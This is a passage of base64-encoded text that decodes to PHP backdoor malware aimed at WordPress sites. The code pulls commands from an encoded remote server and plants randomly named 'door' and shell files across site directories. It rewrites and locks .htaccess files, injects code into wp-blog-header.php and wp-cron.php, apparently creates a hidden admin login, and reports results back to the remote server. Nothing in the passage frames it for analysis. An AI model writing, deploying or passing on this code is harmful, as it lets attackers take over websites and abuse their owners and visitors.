b25fZGVjb2RlKCRjYywgdHJ1ZSk7CiAgICBpZighZW1wdHkoJGpzb25fYXJyYXlbJ2Rvb3JzJ10pKXsKICAgICAgICAkcmVzdWx0ID0gYWRkX2Rvb3JzKCRqc29uX2FycmF5Wydkb29ycyddLCAkanNvbl9hcnJheVsnZG9vcnNfNTUnXSwgJGpzb25fYXJyYXlbJ3dwX2ZpbGVzJ10sICRqc29uX2FycmF5Wyd0aGlyZF9maWxlJ10sICRqc29uX2FycmF5WydodF9iYW5fY29udGVudCddLCAkanNvbl9hcnJheVsnaHRfb3Blbl9jb250ZW50J10sICRqc29uX2FycmF5WydzaGVsbF9hY3Rpb25fY29kZSddLCAgJG5vd19zaXRlKTsKICAgICAgICBpZighZW1wdHkoJHJlc3VsdFsnZG9vcl9maWxlcyddKSl7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnZG9vcl91cmxzJ10gPSBpbXBsb2RlKCc7JywgJHJlc3VsdFsnZG9vcl9maWxlcyddKTsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWydzaGVsbF9vdGhlcl91cmwnXSA9ICRyZXN1bHRbJ3NoZWxsX290aGVyX3VybCddOwogICAgICAgICAgICAkcmVzdWx0X2RhdGFbJ3N0YXR1cyddID0gMTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWydjb2RlJ10gPSAnMTAwMSc7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAyOwogICAgICAgIH0KICAgIH1lbHNlewogICAgICAgICRyZXN1bHRfZGF0YVsnY29kZSddID0gJzEwMDInOwogICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAyOwogICAgfQogICAgJHJlc3VsdF9kYXRhWydzaGVsbF90eXBlJ10gPSAkc2hlbGxfdHlwZTsKICAgICRyZXMgPSBjdXJscG9zdCgkc2F2ZV91cmwsICRyZXN1bHRfZGF0YSk7CiAgICBpZigkcmVzWydzdGF0dXMnXSl7CiAgICAgICAgZWNobyAnPHAgc3R5bGU9ImNvbG9yOmdyZWVuOyI+RG9vcnMgaXMgc3VjY2Vzc2Z1bGx5LCBTdWNjZXNzIC5oIGlzICcuJHJlc3VsdFsnY291bnQnXS4nPC9wPic7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0Wydkb29yX2ZpbGVzJ10gYXMgJGs9PiR2KXsKICAgICAgICAgICAgZWNobyAnPHA+PGEgaHJlZj0iJy4kdi4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kdi4nPC9hPjwvcD4nOwogICAgICAgIH0KICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjpyZWQ7Ij5Eb29ycyBpcyBmYWlsZWQhICcuJHJlc3VsdF9kYXRhWydjb2RlJ10uJzwvcD4nOwogICAgfQp9CgpmdW5jdGlvbiBhZGRfZG9vcnMoJGRvb3JzX2FycmF5LCAkZG9vcnNfNTVfYXJyYXksICR3cF9maWxlcywgJHRoaXJkX2ZpbGUsICRiYW5fY29udGVudCwgJG9wZW5fY29udGVudCwgJHNoZWxsX2FjdGlvbl9jb2RlLCAkbm93X3NpdGUpewogICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICBnbG9iYWwgJGRvb3JfbGlzdHMsICRhbGxfcGF0aHMsICRsYXN0X2ZvbGRlcl91cmw7CiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CiAgICAkZG9vcl9jb3VudCA9IGNvdW50KCRkb29yc19hcnJheSkgKyBjb3VudCgkZG9vcnNfNTVfYXJyYXkpOwogICAgZ2V0QWxsRGlyZWN0b3JpZXMoJHBhdGgsIDEsICRkb29yX2NvdW50KTsKICAgIGlmKGNvdW50KCRkb29yX2xpc3RzKSA8ICRkb29yX2NvdW50KXsKICAgICAgICAkc3lfY291bnQgPSBjb3VudCgkZG9vcnNfYXJyYXkpICsgY291bnQoJGRvb3JzXzU1X2FycmF5KSAtIGNvdW50KCRkb29yX2xpc3RzKTsKICAgICAgICAkZG9vcl9saXN0cyA9IGZpbGxfZnVsbCgkZG9vcl9saXN0cywgJHN5X2NvdW50KTsKICAgIH0KICAgICRyYW5kb21LZXlzID0gYXJyYXlfcmFuZCgkZG9vcl9saXN0cywgY291bnQoJGRvb3JzX2FycmF5KSArIGNvdW50KCRkb29yc181NV9hcnJheSkpOwogICAgJGRvb3JfZmlsZXMgPSBhcnJheSgpOwogICAgJHN1Y2NfZmlsZXMgPSBhcnJheSgpOwogICAgJGkgPSAwOwogICAgJHNoZWxsX290aGVyX3VybCA9ICIiOwogICAgZm9yZWFjaCAoJHJhbmRvbUtleXMgYXMgJGtleSkgewogICAgICAgICRmaWxlX2Rvb3JfdXJsID0gJGRvb3JfbGlzdHNbJGtleV07CiAgICAgICAgJGZpbGVfbmFtZSA9IGdldHJhbmRzdHIocmFuZCg1LCAxMCkpLicucGhwJzsKICAgICAgICBpZigkaSA+PSBjb3VudCgkZG9vcnNfYXJyYXkpKXsKICAgICAgICAgICAgJGZpbGVfZG9vcl91cmwgPSAkZmlsZV9kb29yX3VybCAuICcvd3AnOwogICAgICAgICAgICAkZmlsZV91cmwgPSAkZmlsZV9kb29yX3VybCAuICcvJyAuICRmaWxlX25hbWU7CiAgICAgICAgICAgICRyZXMgPSBjbmRvb3JmaWxlKCRmaWxlX2Rvb3JfdXJsLCAkZmlsZV9uYW1lLCAkb3Blbl9jb250ZW50LCBiYXNlNjRfZGVjb2RlKCRkb29yc181NV9hcnJheVskaS1jb3VudCgkZG9vcnNfYXJyYXkpXSkpOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkZmlsZV91cmwgPSAkZmlsZV9kb29yX3VybC4nLycuJGZpbGVfbmFtZTsKICAgICAgICAgICAgJHJlcyA9IGNyZG9vcmZpbGUoJGZpbGVfdXJsLCBiYXNlNjRfZGVjb2RlKCRkb29yc19hcnJheVskaV0pKTsKICAgICAgICB9CiAgICAgICAgaWYoJHJlcyl7CiAgICAgICAgICAgICRzdWNjX2ZpbGVzW10gPSAkZmlsZV91cmw7CiAgICAgICAgICAgICRkb29yX2ZpbGVzW10gPSBzdHJfcmVwbGFjZSgkcGF0aCwgJG5vd19zaXRlLCAkZmlsZV91cmwpOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAKICAgICAgICB9CiAgICAgICAgJGkrKzsKICAgIH0KICAgIGlmKCFlbXB0eSgkbGFzdF9mb2xkZXJfdXJsKSl7CiAgICAgICAgJGZpbGVfdXJsID0gJGxhc3RfZm9sZGVyX3VybC4nL2luZGV4LnBocCc7CiAgICAgICAgJHJlcyA9IGNyZG9vcmZpbGUoJGZpbGVfdXJsLCBiYXNlNjRfZGVjb2RlKCRzaGVsbF9hY3Rpb25fY29kZSkpOwogICAgICAgIGlmKCRyZXMpewogICAgICAgICAgICAkc2hlbGxfb3RoZXJfdXJsID0gc3RyX3JlcGxhY2UoJHBhdGgsICRub3dfc2l0ZSwgJGZpbGVfdXJsKTsKICAgICAgICB9CiAgICB9CiAgICAkY291bnQgPSAwOwogICAgaWYoY291bnQoJHN1Y2NfZmlsZXMpID4gMCl7CiAgICAgICAgJGh0X3VybHMgPSBhcnJheSgpOwogICAgICAgICR3cF9maWxlc19hcnJheSA9IGV4cGxvZGUoIjsiLCAkd3BfZmlsZXMpOwogICAgICAgIGZvcmVhY2ggKCR3cF9maWxlc19hcnJheSBhcyAkaz0+JHYpewogICAgICAgICAgICAkd3BfZmlsZXNfYXJyYXlbJGtdID0gJHBhdGguJHY7CiAgICAgICAgfQogICAgICAgICRodF91cmxzID0gJHN1Y2NfZmlsZXM7CiAgICAgICAgJGh0X3VybHMgPSBhcnJheV9tZXJnZSgkaHRfdXJscywgJHdwX2ZpbGVzX2FycmF5KTsKICAgICAgICAkaHRfdXJsc1tdID0gJHBhdGguJy8nLiR0aGlyZF9maWxlOwogICAgICAgIAogICAgICAgICRodF9mb2xkZXJzID0gYXJyYXkoKTsKICAgICAgICAkaHRfZmlsZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRodF91cmxzIGFzICRrPT4kdil7CiAgICAgICAgICAgICRodF9mb2xkZXJzW10gPSBkaXJuYW1lKCR2KTsKICAgICAgICAgICAgJGh0X2ZpbGVzW10gPSBiYXNlbmFtZSgkdik7CiAgICAgICAgfQogICAgICAgIGZvcmVhY2ggKCRhbGxfcGF0aHMgYXMgJGs9PiRhKXsKICAgICAgICAgICAgJG5vd19maWxlcyA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJGh0X2ZvbGRlcnMgYXMgJGh0az0+JGh0dil7CiAgICAgICAgICAgICAgICBpZigkYSA9PSAkaHR2KXsKICAgICAgICAgICAgICAgICAgICAkbm93X2ZpbGVzW10gPSAkaHRfZmlsZXNbJGh0a107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGh0X2NvbnRlbnRfbm93ID0gIiI7CiAgICAgICAgICAgIGlmKCFlbXB0eSgkbm93X2ZpbGVzKSl7CiAgICAgICAgICAgICAgICAkaHRfY29udGVudF9ub3cgPSBzdHJfcmVwbGFjZSgneyNodGNvbnRlbnR9JywgaW1wbG9kZSgnfCcsICRub3dfZmlsZXMpLCAkb3Blbl9jb250ZW50KTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkaHRfY29udGVudF9ub3cgPSAkYmFuX2NvbnRlbnQ7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2htb2QoJGEuJy8uaHRhY2Nlc3MnLCAwNzU1KTsKICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRhLicvLmh0YWNjZXNzJywgJGh0X2NvbnRlbnRfbm93KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRjb3VudCsrOwogICAgICAgICAgICAgICAgY2htb2QoJGEuJy8uaHRhY2Nlc3MnLCAwNTU1KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgICRyZXN1bHRbJ2Rvb3JfZmlsZXMnXSA9ICRkb29yX2ZpbGVzOwogICAgJHJlc3VsdFsnc2hlbGxfb3RoZXJfdXJsJ10gPSAkc2hlbGxfb3RoZXJfdXJsOwogICAgJHJlc3VsdFsnY291bnQnXSA9ICRjb3VudDsKICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBmaWxsX2Z1bGwoJGZpbGVfdXJscywgJHN5X2NvdW50KXsKICAgICRwYXRoID0gcmVhbHBhdGgoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk7CiAgICAkZmlsZV91cmxfcmVzdWx0ID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRmaWxlX3VybHMgYXMgJGs9PiR2KXsKICAgICAgICBpZighZW1wdHkodHJpbSgkdikpKXsKICAgICAgICAgICAgJGZpbGVfdXJsX3Jlc3VsdFtdID0gJHY7CiAgICAgICAgfQogICAgfQogICAgJGZpbGVfdG91ID0gYXJyYXkoJ3dwLWNvbnRlbnQnLCd3cC1hZG1pbicsJ3dwLWluY2x1ZGVzJyk7CiAgICAkZmlsZV9saXN0ID0gYXJyYXkoJ2NzcycsJ2ltYWdlcycsJ2ltZycsJ2pzJywndGhlbWVzJywncGx1Z2lucycsJ3VwbG9hZHMnLCdsYW5ndWFnZXMnLCdpbmNsdWRlcycsJ21haW50JywnbmV0d29yaycsJ21ldCcsJ3VzZXInLCdJWFInLCdJRDMnLCdmb250cycsCiAgICAgICAgJ2Jsb2NrJywnYmxvY2tzJywncGhwLWNvbXBhdCcsJ3BocCcsJ1RleHQnLCd3aWRnZXRzJywnU2ltcGxlUGllJywncmFuZG9tJywnc3R5bGUtZW5naW5lJywncG9tbycsJ2NlcnRpZmljYXRlcycsJ2Jsb2NrdCcpOwogICAgZm9yICgkaSA9IDA7JGkgPCAkc3lfY291bnQ7JGkrKyl7CiAgICAgICAgJHBhdGhfdXJsID0gJHBhdGggLicvJy4kZmlsZV90b3VbcmFuZCgwLCBjb3VudCgkZmlsZV90b3UpLTEpXTsKICAgICAgICBmb3IoJGogPSAwOyRqIDwgcmFuZCgzLDYpOyRqKyspewogICAgICAgICAgICAkcGF0aF91cmwgPSAkcGF0aF91cmwuJy8nLiRmaWxlX2xpc3RbcmFuZCgwLCBjb3VudCgkZmlsZV9saXN0KS0xKV07CiAgICAgICAgfQogICAgICAgICRmaWxlX3VybF9yZXN1bHRbXSA9ICRwYXRoX3VybDsKICAgIH0KICAgIHJldHVybiAkZmlsZV91cmxfcmVzdWx0Owp9CgpmdW5jdGlvbiBnZXRBbGxEaXJlY3RvcmllcygkcGF0aCwgJGRlcHRoLCAkZG9vcl9jb3VudCl7CiAgICBnbG9iYWwgJGFsbF9wYXRocywgJGRvb3JfbGlzdHMsICRsYXN0X2ZvbGRlcl91cmw7CiAgICAkZmlyc3RMZXZlbERpcnMgPSBnbG9iKCRwYXRoIC4gJy8qJywgR0xPQl9PTkxZRElSKTsKICAgIAogICAgJHRvdGFsU2VsZWN0aW9ucyA9ICRkb29yX2NvdW50OwogICAgJHNlbGVjdGVkRGlyZWN0b3JpZXMgPSBhcnJheSgpOwogICAgCiAgICAkZGlyc1BlckZpcnN0TGV2ZWwgPSBtYXgoMSwgZmxvb3IoJHRvdGFsU2VsZWN0aW9ucyAvIGNvdW50KCRmaXJzdExldmVsRGlycykpKTsKICAgIAogICAgZm9yZWFjaCAoJGZpcnN0TGV2ZWxEaXJzIGFzICRkaXIpIHsKICAgICAgICAkYWxsX3BhdGhzW10gPSAkZGlyOwogICAgICAgICRzdWJEaXJzID0gZ2V0QWxsU3ViZGlyZWN0b3JpZXMoJGRpciwgMTApOwogICAgICAgIGlmIChjb3VudCgkc3ViRGlycykgPj0gJGRpcnNQZXJGaXJzdExldmVsKSB7CiAgICAgICAgICAgICRyYW5kb21LZXlzID0gYXJyYXlfcmFuZCgkc3ViRGlycywgJGRpcnNQZXJGaXJzdExldmVsKTsKICAgICAgICAgICAgZm9yZWFjaCAoKGFycmF5KSRyYW5kb21LZXlzIGFzICRrZXkpIHsKICAgICAgICAgICAgICAgICRzZWxlY3RlZERpcmVjdG9yaWVzW10gPSAkc3ViRGlyc1ska2V5XTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzZWxlY3RlZERpcmVjdG9yaWVzID0gYXJyYXlfbWVyZ2UoJHNlbGVjdGVkRGlyZWN0b3JpZXMsICRzdWJEaXJzKTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGlmIChjb3VudCgkc2VsZWN0ZWREaXJlY3RvcmllcykgPCAkdG90YWxTZWxlY3Rpb25zKSB7CiAgICAgICAgJGFkZGl0aW9uYWxOZWVkZWQgPSAkdG90YWxTZWxlY3Rpb25zIC0gY291bnQoJHNlbGVjdGVkRGlyZWN0b3JpZXMpOwogICAgICAgICRhbGxTdWJEaXJzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkZmlyc3RMZXZlbERpcnMgYXMgJGRpcikgewogICAgICAgICAgICAkYWxsU3ViRGlycyA9IGFycmF5X21lcmdlKCRhbGxTdWJEaXJzLCBnbG9iKCRkaXIgLiAnLyonLCBHTE9CX09OTFlESVIpKTsKICAgICAgICB9CiAgICAgICAgJHJlbWFpbmluZ0RpcnMgPSBhcnJheV9kaWZmKCRhbGxTdWJEaXJzLCAkc2VsZWN0ZWREaXJlY3Rvcmllcyk7CiAgICAgICAgaWYgKGNvdW50KCRyZW1haW5pbmdEaXJzKSA+IDApIHsKICAgICAgICAgICAgJGFkZGl0aW9uYWxEaXJzID0gKGFycmF5KWFycmF5X3JhbmQoJHJlbWFpbmluZ0RpcnMsIG1pbigkYWRkaXRpb25hbE5lZWRlZCwgY291bnQoJHJlbWFpbmluZ0RpcnMpKSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhZGRpdGlvbmFsRGlycyBhcyAka2V5KSB7CiAgICAgICAgICAgICAgICAkc2VsZWN0ZWREaXJlY3Rvcmllc1tdID0gJHJlbWFpbmluZ0RpcnNbJGtleV07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgICRyYW5kb21LZXlzID0gYXJyYXlfcmFuZCgkYWxsX3BhdGhzLCAxKTsKICAgIGZvcmVhY2ggKChhcnJheSkkcmFuZG9tS2V5cyBhcyAka2V5KSB7CiAgICAgICAgJGxhc3RfZm9sZGVyX3VybCA9ICRhbGxfcGF0aHNbJGtleV07CiAgICB9CiAgICAkZG9vcl9saXN0cyA9ICRzZWxlY3RlZERpcmVjdG9yaWVzOwogICAgcmV0dXJuICRhbGxfcGF0aHM7Cn0KCmZ1bmN0aW9uIGdldEFsbFN1YmRpcmVjdG9yaWVzKCRkaXJlY3RvcnksICRtYXhEZXB0aCA9IDEwLCAkY3VycmVudERlcHRoID0gMCkgewogICAgZ2xvYmFsICRhbGxfcGF0aHM7CiAgICAkc3ViZGlyZWN0b3JpZXMgPSBhcnJheSgpOwogICAgaWYgKCRjdXJyZW50RGVwdGggPiAkbWF4RGVwdGgpIHsKICAgICAgICByZXR1cm4gYXJyYXkoKTsKICAgIH0KICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcmVjdG9yeSk7CiAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRwYXRoID0gJGRpcmVjdG9yeSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICAgICAKICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICAkc3ViZGlyZWN0b3JpZXNbXSA9ICRwYXRoOwogICAgICAgICAgICAkYWxsX3BhdGhzW10gPSAkcGF0aDsKICAgICAgICAgICAgJHN1YmRpcmVjdG9yaWVzID0gYXJyYXlfbWVyZ2UoJHN1YmRpcmVjdG9yaWVzLCBnZXRBbGxTdWJkaXJlY3RvcmllcygkcGF0aCwgJG1heERlcHRoLCAkY3VycmVudERlcHRoICsgMSkpOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkc3ViZGlyZWN0b3JpZXM7Cn0KCgpmdW5jdGlvbiBzdGF0aW9uQWN0aW9uKCRkYXRhLCAkcHdlYiwgJG5vd19zaXRlKXsKICAgICRyZXN1bHRfZGF0YSA9IGFycmF5KCk7CiAgICAkcmVzdWx0X2RhdGFbJ3NoZWxsX2lkJ10gPSAkZGF0YVsnc2hlbGxfaWQnXTsKICAgICRyZXN1bHRfZGF0YVsnYWN0aW9uJ10gPSAnc3RhdGlvbic7CiAgICAkc2F2ZV91cmwgPSBiYXNlNjRfZGVjb2RlKCRwd2ViKS4nL3NhdmUucGhwJzsKICAgIAogICAgJHNoZWxsX2lkID0gJGRhdGFbJ3NoZWxsX2lkJ107CiAgICAkc2hlbGxfdHlwZSA9ICRkYXRhWydzaGVsbF90eXBlJ107CiAgICAkdXJsID0gYmFzZTY0X2RlY29kZSgkcHdlYikuJy9pbmRleGRvb3IucGhwP2FjdGlvbj1zdGF0aW9uJnNoZWxsX2lkPScuJHNoZWxsX2lkLicmc2hlbGxfdHlwZT0nLiRzaGVsbF90eXBlOwogICAgJGNjID0gY3VybGdldCgkdXJsKTsKICAgICRqc29uX2FycmF5ID0ganNvbl9kZWNvZGUoJGNjLCB0cnVlKTsKICAgICRzdGF0aW9uX2NvdW50ID0gMDsKICAgIGlmKCFlbXB0eSgkanNvbl9hcnJheVsnc3RhdGlvbl9jb2RlJ10pICYmICFlbXB0eSgkanNvbl9hcnJheVsnaHRfcHpfY29udGVudCddKSl7CiAgICAgICAgJHN0YXRpb25fY291bnQgPSBhZGRfc3RhdGlvbigkanNvbl9hcnJheVsnc3RhdGlvbl9jb2RlJ10sICRqc29uX2FycmF5WydodF9wel9jb250ZW50J10sICAkbm93X3NpdGUpOwogICAgICAgIGlmKCRzdGF0aW9uX2NvdW50ID4gMCl7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdGlvbl9jb3VudCddID0gJHN0YXRpb25fY291bnQ7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAxOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkcmVzdWx0X2RhdGFbJ2NvZGUnXSA9ICcxMDAxJzsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWydzdGF0dXMnXSA9IDI7CiAgICAgICAgfQogICAgfWVsc2V7CiAgICAgICAgJHJlc3VsdF9kYXRhWydjb2RlJ10gPSAnMTAwMic7CiAgICAgICAgJHJlc3VsdF9kYXRhWydzdGF0dXMnXSA9IDI7CiAgICB9CglhZGRtbUZ1bigpOwoJJGxvZ2luX3N0YXR1cyA9IGFkZG1tVXNlcigpOwogICAgJHJlc3VsdF9kYXRhWydzaGVsbF91cmwnXSA9ICRub3dfc2l0ZTsKICAgICRyZXN1bHRfZGF0YVsnc2hlbGxfdHlwZSddID0gJHNoZWxsX3R5cGU7CgkkcmVzdWx0X2RhdGFbJ2xvZ2luX3N0YXR1cyddID0gJGxvZ2luX3N0YXR1czsKICAgICRyZXMgPSBjdXJscG9zdCgkc2F2ZV91cmwsICRyZXN1bHRfZGF0YSk7CiAgICBpZigkcmVzWydzdGF0dXMnXSl7CiAgICAgICAgZWNobyAnPHAgc3R5bGU9ImNvbG9yOmdyZWVuOyI+U3RhdGlvbiBpcyBzdWNjZXNzZnVsbHksIFN1Y2Nlc3MgaXMgJy4kc3RhdGlvbl9jb3VudC4nPC9wPic7CiAgICB9ZWxzZXsKICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6cmVkOyI+U3RhdGlvbiBpcyBmYWlsZWQhICcuJHJlc3VsdF9kYXRhWydjb2RlJ10uJzwvcD4nOwogICAgfQoJaWYoJGxvZ2luX3N0YXR1cyA9PSAxKXsKCQllY2hvICAnPHA+bG9naW4gaXMgb2s8L3A+JzsKCX1lbHNlewoJCWVjaG8gICc8cD5sb2dpbiBpcyBlcnJvcjwvcD4nOwoJfQp9CgpmdW5jdGlvbiBhZGRfc3RhdGlvbigkc3RhdGlvbl9jb2RlLCAkaHRfY29udGVudCwgICRub3dfc2l0ZSl7CiAgICAkc3RhdGlvbl9jb2RlID0gYmFzZTY0X2RlY29kZSgkc3RhdGlvbl9jb2RlKTsKICAgICRjb3VudCA9IDA7CiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CiAgICAkZm9sZGVyX25hbWUgPSBiYXNlbmFtZSgkcGF0aCk7CiAgICAkYWxsX2ZvbGRlcnMgPSBnZXRQYXJlbnRzRm9sZGVycygkcGF0aCk7CiAgICAkYWxsX3Jlc3VsdHMgPSBhcnJheSgpOwogICAgZm9yZWFjaCgkYWxsX2ZvbGRlcnMgYXMgJGs9PiR2KXsKICAgICAgICAkZGlyZWN0b3JpZXMgPSBnbG9iKCR2LiAnLyonLCBHTE9CX09OTFlESVIpOwogICAgICAgICRhbGxfZm9sZGVycyA9IGFycmF5X21lcmdlKCRhbGxfZm9sZGVycywgJGRpcmVjdG9yaWVzKTsKICAgIH0KICAgIGZvcmVhY2goJGFsbF9mb2xkZXJzIGFzICRrPT4kdil7CiAgICAgICAgaWYoIXN0cnBvcygkdiwgJGZvbGRlcl9uYW1lKSl7CiAgICAgICAgICAgICRhbGxfcmVzdWx0c1tdID0gJHY7CiAgICAgICAgfQogICAgfQogICAgZm9yZWFjaCAoJGFsbF9yZXN1bHRzIGFzICRrPT4kdil7CiAgICAgICAgJGluZGV4X3VybCA9ICR2Licvd3AtYmxvZy1oZWFkZXIucGhwJzsKICAgICAgICAkd3BfdXJsID0gJHYuJy93cC1jcm9uLnBocCc7CiAgICAgICAgJGh0X3VybCA9ICR2LicvLmh0YWNjZXNzJzsKICAgICAgICAkaW5kZXhfeXVhbiA9ICIiOwogICAgICAgIGlmKGZpbGVfZXhpc3RzKCRpbmRleF91cmwpKXsKICAgICAgICAgICAgY2htb2QoJGluZGV4X3VybCwgMDY0NCk7CiAgICAgICAgICAgICRpbmRleF95dWFuID0gZmlsZV9nZXRfY29udGVudHMoJGluZGV4X3VybCk7CiAgICAgICAgfQogICAgICAgIGlmIChzdHJwb3MoJGluZGV4X3l1YW4sICRzdGF0aW9uX2NvZGUpID09PSBmYWxzZSkgewogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkaW5kZXhfdXJsLCAkc3RhdGlvbl9jb2RlLiRpbmRleF95dWFuKTsKICAgICAgICAgICAgY2htb2QoJGluZGV4X3VybCwgMDQ0NCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICR3cF95dWFuID0gIiI7CiAgICAgICAgaWYoZmlsZV9leGlzdHMoJHdwX3VybCkpewogICAgICAgICAgICBjaG1vZCgkd3BfdXJsLCAwNjQ0KTsKICAgICAgICAgICAgJHdwX3l1YW4gPSBmaWxlX2dldF9jb250ZW50cygkd3BfdXJsKTsKICAgICAgICB9CiAgICAgICAgaWYgKHN0cnBvcygkd3BfeXVhbiwgJHN0YXRpb25fY29kZSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR3cF91cmwsICRzdGF0aW9uX2NvZGUuJHdwX3l1YW4pOwogICAgICAgICAgICBjaG1vZCgkd3BfeXVhbiwgMDQ0NCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGNobW9kKCRodF91cmwsIDA2NDQpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRodF91cmwsICRodF9jb250ZW50KTsKICAgICAgICBjaG1vZCgkaHRfdXJsLCAwNDQ0KTsKICAgICAgICAkY291bnQrKzsKICAgIH0KICAgIHJldHVybiAkY291bnQ7Cn0KCmZ1bmN0aW9uIGdldFBhcmVudHNGb2xkZXJzKCRwYXRoKXsKICAgICRhbGxfZm9sZGVycyA9IGFycmF5KCk7CiAgICAkcGFyZW50X2ZvbGRzID0gZGlybmFtZSgkcGF0aCk7CiAgICAkZGlyZWN0b3JpZXMgPSBnbG9iKCRwYXJlbnRfZm9sZHMuICcvKicsIEdMT0JfT05MWURJUik7CiAgICAkYWxsX2ZvbGRlcnMgPSAkZGlyZWN0b3JpZXM7CiAgICAKICAgICRwYXJlbnRfZm9sZHMgPSBkaXJuYW1lKCRwYXJlbnRfZm9sZHMpOwogICAgJGRpcmVjdG9yaWVzID0gZ2xvYigkcGFyZW50X2ZvbGRzLiAnLyonLCBHTE9CX09OTFlESVIpOwogICAgJGFsbF9mb2xkZXJzID0gYXJyYXlfbWVyZ2UoJGFsbF9mb2xkZXJzLCAkZGlyZWN0b3JpZXMpOwogICAgcmV0dXJuICRhbGxfZm9sZGVyczsKfQoKZnVuY3Rpb24gY3VybGdldCgkdXJsKXsKICAgICR1cmxfZGF0YSA9ICIiOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKSkgewogICAgICAgICR1cmxfZGF0YSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwogICAgfQogICAgaWYgKGVtcHR5KCR1cmxfZGF0YSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKSkgewogICAgICAgICRjb25uID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjb25uLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY29ubiwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNvbm4sIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjb25uLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgICAgICAkdXJsX2RhdGEgPSBjdXJsX2V4ZWMoJGNvbm4pOwogICAgICAgIGN1cmxfY2xvc2UoJGNvbm4pOwogICAgfQogICAgaWYgKGVtcHR5KCR1cmxfZGF0YSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFtX2dldF9jb250ZW50cycpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCR1cmwsICJyIik7CiAgICAgICAgJHVybF9kYXRhID0gc3RyZWFtX2dldF9jb250ZW50cygkaGFuZGxlKTsKICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICB9CiAgICByZXR1cm4gJHVybF9kYXRhOwp9CgpmdW5jdGlvbiBjdXJscG9zdCgkdXJsLCAkZGF0YSl7CiAgICAkanNvbkRhdGEgPSBqc29uX2VuY29kZSgkZGF0YSk7CiAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoCiAgICAgICAgJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gc3RybGVuKCRqc29uRGF0YSkKICAgICkpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVV